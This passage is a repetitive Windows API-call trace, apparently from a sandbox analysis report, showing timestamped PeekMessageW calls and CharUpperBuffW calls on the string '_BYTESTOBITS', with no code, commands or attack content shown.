lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.875] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.876] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.877] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.878] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.878] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.879] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.879] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.880] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.880] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.881] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.881] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.883] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.884] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.885] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.886] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.887] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.888] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.889] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.889] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.890] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.891] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.891] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.891] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.891] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.891] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.891] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.892] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.892] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.892] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.892] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.892] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.892] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.893] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.893] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.893] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.893] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.893] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.893] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.894] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.894] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.894] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.894] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.894] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.894] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.894] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.895] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.895] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.895] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.895] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.895] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.895] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.896] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.896] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.896] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.896] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.896] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.896] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.896] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.897] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.897] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.897] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.897] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.897] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.897] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.897] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.897] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.898] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.898] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.898] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.898] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.898] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.898] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.898] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.899] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.899] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.899] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.899] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.899] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.899] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.899] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.899] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.900] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.900] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.900] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.900] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.900] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.900] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.900] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.901] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.901] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.901] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.901] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.901] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.901] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.902] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.902] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.902] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.902] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.902] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.902] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.902] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.903] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.903] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.903] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.903] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.903] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.903] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.903] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.904] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.904] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.904] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.904] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.904] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.904] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.904] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.905] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.906] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.906] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.906] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.906] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.906] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.906] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.907] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.907] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.907] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.907] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.907] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.907] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.907] 